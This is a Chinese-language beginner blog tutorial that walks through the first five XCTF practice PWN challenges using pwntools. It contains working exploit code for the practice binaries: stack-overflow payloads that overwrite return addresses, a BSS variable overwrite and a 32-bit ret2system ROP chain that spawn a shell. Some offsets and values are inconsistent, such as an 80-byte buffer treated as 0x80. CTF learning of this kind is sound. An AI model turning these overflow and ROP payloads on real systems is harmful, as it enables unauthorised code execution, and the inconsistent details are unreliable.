当前位置: 首页 > news >正文

新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题

新手也能玩转PWN:从零开始用pwntools搞定攻防世界XCTF前5题

第一次接触CTF比赛中的PWN题型时,看着那些二进制文件和陌生的术语,我完全不知道从何入手。直到在虚拟机里成功拿到第一个flag,那种"砰"的突破感让我彻底着迷——这就是PWN的魅力。本文将用最直白的语言,带你完成从环境搭建到实战解题的全过程,即使零基础也能在2小时内攻克攻防世界新手区前5题。

1. 环境准备:打造你的PWN武器库

在Kali Linux虚拟机中(推荐使用2023.3版本),打开终端依次执行以下命令安装核心工具:

sudo apt update sudo apt install -y python3-pip git gdb pip3 install pwntools --upgrade

验证安装是否成功:

python3 -c "import pwn; print(pwn.__version__)"

常见问题排查:

  • 报错"Command not found":检查网络连接后重试sudo apt update
  • pip安装缓慢:添加-i https://pypi.tuna.tsinghua.edu.cn/simple参数
  • pwntools功能缺失:运行python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools

工具清单说明:

工具名称作用替代方案
pwntools漏洞利用框架手动编写socket代码
IDA Free反编译分析工具Ghidra
GDB动态调试工具Radare2
checksec安全机制检测手动查看ELF头

提示:初学者建议全部使用默认安装选项,避免自定义路径导致后续命令报错

2. 初识PWN:理解漏洞利用的本质

PWN题的核心是找到程序中的漏洞并构造特殊输入(称为payload),使其执行非预期操作。以最简单的get_shell为例:

  1. 下载题目附件后先用file命令查看类型:
file get_shell

输出显示为ELF 64-bit LSB executable表示64位Linux程序

  1. 使用pwntools的ELF模块快速分析:
from pwn import * e = ELF('./get_shell') print(hex(e.symbols['main'])) # 打印main函数地址
  1. 连接题目服务器的基础模板:
r = remote('111.200.241.244', 65238) # 替换为实际IP端口 r.interactive() # 进入交互模式

当看到$符号时,尝试输入:

cat flag

恭喜!你已拿到第一个flag。

3. 栈溢出实战:level0解题详解

这个64位程序存在典型的缓冲区溢出漏洞,我们通过以下步骤实现控制流劫持:

3.1 漏洞分析

使用IDA打开level0,查看vulnerable_function:

char buf[80]; // 栈缓冲区 read(0, buf, 200); // 可写入200字节

计算偏移量:

  • buf到返回地址需要覆盖:0x80(栈空间) + 8(保存的rbp) = 136字节

3.2 寻找后门函数

在IDA中按Shift+F12搜索字符串,发现/bin/sh位于callsystem函数:

int callsystem() { return system("/bin/sh"); }

3.3 构造payload

from pwn import * context(os='linux', arch='amd64') # 设置环境参数 r = remote('111.200.241.244', 54800) elf = ELF('./level0') payload = b'A'*136 # 填充缓冲区 payload += p64(elf.symbols['callsystem']) # 覆盖返回地址 r.sendline(payload) r.interactive()

关键点说明:

  • p64()将地址转为小端序字节序列
  • 如果本地测试失败,尝试添加context.log_level='debug'查看详细通信

4. BSS段溢出:hello_pwn技巧突破

这道题展示了非栈区域的溢出利用:

4.1 关键变量定位

使用readelf查看段信息:

readelf -S hello_pwn

发现.bss段中存在两个相邻变量:

  • unk_601068:用户输入存储位置
  • dword_60106C:需要覆盖的目标

4.2 偏移计算

通过IDA静态分析:

read(0, &unk_601068, 10uLL); if ( dword_60106C == 1853186401 ) sub_400686(); // 后门函数

数学关系:

  • 60106C - 601068 = 4字节
  • 需要先填充4字节,然后写入目标值

4.3 数值转换技巧

1853186401的十六进制表示:

hex(1853186401) # 输出0x6e756161

对应ASCII字符是"nuaa"

最终payload:

payload = b'AAAA' + p64(1853186401)

5. ROP技术入门:level2解题示范

当程序没有现成后门时,需要通过ROP技术组合代码片段:

5.1 获取必要地址

elf = ELF('./level2') system_addr = elf.plt['system'] # 获取system函数地址 binsh_addr = next(elf.search(b'/bin/sh')) # 查找字符串地址

5.2 32位程序栈帧构造

不同于64位参数通过寄存器传递,32位程序需要按以下顺序构造栈帧:

  1. 函数地址(system)
  2. 返回地址(可随意填充)
  3. 参数地址(/bin/sh)

对应payload:

payload = b'A'*(0x88+4) # 填充+ebp payload += p32(system_addr) # 返回地址 payload += p32(0xdeadbeef) # 随意返回地址 payload += p32(binsh_addr) # 参数

5.3 自动化工具辅助

使用ROPgadget查找可用指令片段:

ROPgadget --binary level2 --ropchain

实际比赛中,成熟的PWN题往往需要组合多种技术。记得每次测试后使用r.close()关闭连接,避免服务器限制。当遇到EOFError时,通常是payload构造有误,建议先用cyclic(200)生成测试字符串定位崩溃点。

掌握这些基础后,你已经具备了解决大部分CTF新手PWN题的能力。接下来可以尝试更复杂的技巧,如格式化字符串漏洞利用、堆风水等进阶内容。记住,每个失败的尝试都是通往成功的必经之路——我的第一个PWN题花了整整三天才解出来,但那种突破的喜悦值得所有付出。

http://www.jsqmd.com/news/966076/

相关文章:

  • 安卓手机秒变Linux服务器:Termux搭配Ngrok实现内网穿透(远程访问实战)
  • 异常值不是噪声,是业务系统的未解信号
  • 量子态生成模型:原理、架构与应用实践
  • Copilot原理解读
  • 腾讯云对象存储团队到底在做什么?从技术新人视角拆解存储组的核心业务与招聘要求
  • ModelOps:解决数据科学家运维黑洞的组织操作系统
  • 从《鱿鱼游戏》到推荐系统:聊聊齐次马尔可夫链在现实中的那些‘神预测’
  • 【OpenClaw Skill 功能全解】,从文档处理到系统运维一站式(包含安装包)
  • 别只当对象存储用!用MinIO Admin命令把你的MinIO集群管得明明白白
  • Unified模型:理解与生成统一的NLP新范式
  • 技术博主私藏工具箱:CSDN旧文AI重运营SOP(含A/B测试数据、平台接口调用权限说明、合规红线预警)
  • 如何5分钟搞定B站第三方直播推流:免费工具完整指南
  • 【MATLAB】四旋翼无人机PID姿态稳定控制仿真研究
  • 微信零食商城小程序源码,含首页/购物车/个人中心等完整页面,导入即跑
  • 别怕数学!用Python的Scipy.fft给你的传感器数据做个‘降噪SPA’
  • 自动驾驶L0-L5分级本质:ODD与DDT决定责任边界
  • 符号人工智能
  • Proxmox VE存储空间规划避坑指南:为什么别把900G都分给local-lvm?
  • Synapse ML:基于Spark原生的统一机器学习工程平台
  • 别再被‘距离模糊’搞晕了!用Python模拟雷达多重频解模糊的实战教程
  • 量子机器学习加速药物发现:分子模拟与QML实战指南
  • 用BC547C三极管DIY一个高灵敏度触摸开关:从原理图到波形分析全记录
  • 云凭证为何绝不能提交到Git?四层隔离架构与OIDC联邦实践
  • 实战避坑:用AMBA AXI总线连接SRAM和UART时,我踩过的那些‘时序坑’
  • Python本地部署Whisper语音识别:离线ASR全栈实践指南
  • MCP协议驱动的数据库自然语言搜索工具实战
  • 高能中微子天文学:LRDs的发现与物理机制
  • LISP递归
  • Operator:基于浏览器的AI工作流自动化新范式
  • Python毕业项目:带UI界面的人脸+表情识别系统(含预训练模型和测试素材)